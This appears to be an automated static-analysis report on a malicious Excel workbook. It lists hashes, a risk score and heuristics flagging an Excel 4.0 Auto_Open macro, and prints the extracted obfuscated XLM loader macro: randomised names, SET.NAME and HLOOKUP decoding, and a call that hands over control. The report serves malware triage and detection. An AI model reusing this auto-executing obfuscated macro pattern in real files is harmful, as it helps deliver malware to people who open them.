Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7aafb55fea133ce5…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:40:00 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: d2459205275914feed5feb0af728125e SHA-1: 91b8cc638cf43453aa01ef93c36ee847153ea350 SHA-256: 7aafb55fea133ce50f94d627f569b679c5b94db292dbd051351007f6f193f5e1
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6692 bytes
SHA-256: dcf230e205b8db0b8546c9cf7b2ac2c8ec1bcb8702c095d93f72f9e7731c70e4
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  VtHFo
' 0018     20 LABEL : Cell Value, String Constant - ApHVW len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I153 
' 0018     26 LABEL : Cell Value, String Constant - bfFEpeFyVNz len=0 
' 0018     26 LABEL : Cell Value, String Constant - DuPRTHilYuu len=0 
' 0018     24 LABEL : Cell Value, String Constant - iyoFZARrs len=0 
' 0018     24 LABEL : Cell Value, String Constant - lXGKeERie len=0 
' 0018     20 LABEL : Cell Value, String Constant - mOPRh len=0 
' 0018     23 LABEL : Cell Value, String Constant - nvozvOcU len=0 
' 0018     21 LABEL : Cell Value, String Constant - pPBYNs len=0 
' 0018     25 LABEL : Cell Value, String Constant - PUDzbtgWnG len=0 
' 0018     27 LABEL : Cell Value, String Constant - QvopzRPLogLT len=0 
' 0018     22 LABEL : Cell Value, String Constant - ruONtVR len=0 
' 0018     25 LABEL : Cell Value, String Constant - RwEjWmqlev len=0 
' 0018     23 LABEL : Cell Value, String Constant - tDzaNyGp len=0 
' 0018     25 LABEL : Cell Value, String Constant - VFrKVeewSy len=0 
' 0018     25 LABEL : Cell Value, String Constant - wAZVXyEMft len=0 
' 0018     21 LABEL : Cell Value, String Constant - WjFocw len=0 
' 0018     24 LABEL : Cell Value, String Constant - wKSgkhLlf len=0 
' 0018     21 LABEL : Cell Value, String Constant - WqZMUg len=0 
' 0018     23 LABEL : Cell Value, String Constant - wYZrHnBv len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZvsNjUgZULP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  VtHFo,R41,"",-164.00000000000000000000
'  VtHFo,R42,"",695.00000000000000000000
'  VtHFo,R43,"",964.00000000000000000000
'  VtHFo,R44,"",440.00000000000000000000
'  VtHFo,R45,"",-972.00000000000000000000
'  VtHFo,R46,"",754.00000000000000000000
'  VtHFo,I60,"SET.NAME("WqZMUg",0+VALUE("0"))",""
'  VtHFo,I64,"SET.NAME("QvopzRPLogLT",WqZMUg)",""
'  VtHFo,I67,"SET.NAME("iyoFZARrs",WqZMUg)",""
'  VtHFo,I71,"SET.NAME("lXGKeERie",COUNTA(wAZVXyEMft))",""
'  VtHFo,I76,"SET.NAME("ruONtVR",COUNTA(RwEjWmqlev))",""
'  VtHFo,I81,[],""
'  VtHFo,I83,"SET.NAME("WjFocw","")",""
'  VtHFo,I88,"QvopzRPLogLT",""
'  VtHFo,I90,"SET.NAME("pPBYNs",HLOOKUP("*",wAZVXyEMft,QvopzRPLogLT,FALSE))",""
'  VtHFo,I95,"VFrKVeewSy",""
'  VtHFo,I98,"SET.NAME("ZvsNjUgZULP",WqZMUg)",""
'  VtHFo,I102,[],""
'  VtHFo,I107,"ZvsNjUgZULP",""
'  VtHFo,I111,"DuPRTHilYuu",""
'  VtHFo,I113,"tDzaNyGp",""
'  VtHFo,I116,"wYZrHnBv",""
'  VtHFo,I119,"SET.NAME("mOPRh",VALUE(HLOOKUP("*",RwEjWmqlev,wYZrHnBv,FALSE)))",""
'  VtHFo,I124,"PUDzbtgWnG",""
'  VtHFo,I128,"WjFocw",""
'  VtHFo,I132,"iyoFZARrs",""
'  VtHFo,I134,NEXT(),""
'  VtHFo,I137,"nvozvOcU",""
'  VtHFo,I139,[],""
'  VtHFo,I142,"ApHVW",""
'  VtHFo,I146,NEXT(),""
'  VtHFo,I148,RETURN(),""
'  VtHFo,I177,"SET.NAME("bfFEpeFyVNz",I60)",""
'  VtHFo,I181,"wAZVXyEMft",""
'  VtHFo,I186,"SET.NAME("RwEjWmqlev",R59C12)",""
'  VtHFo,I189,"SET.NAME("ApHVW",200)",""
'  VtHFo,I194,"SET.NAME("wKSgkhLlf",9)",""
'  VtHFo,I199,bfFEpeFyVNz(),""
'  VtHFo,I200,HALT(),""

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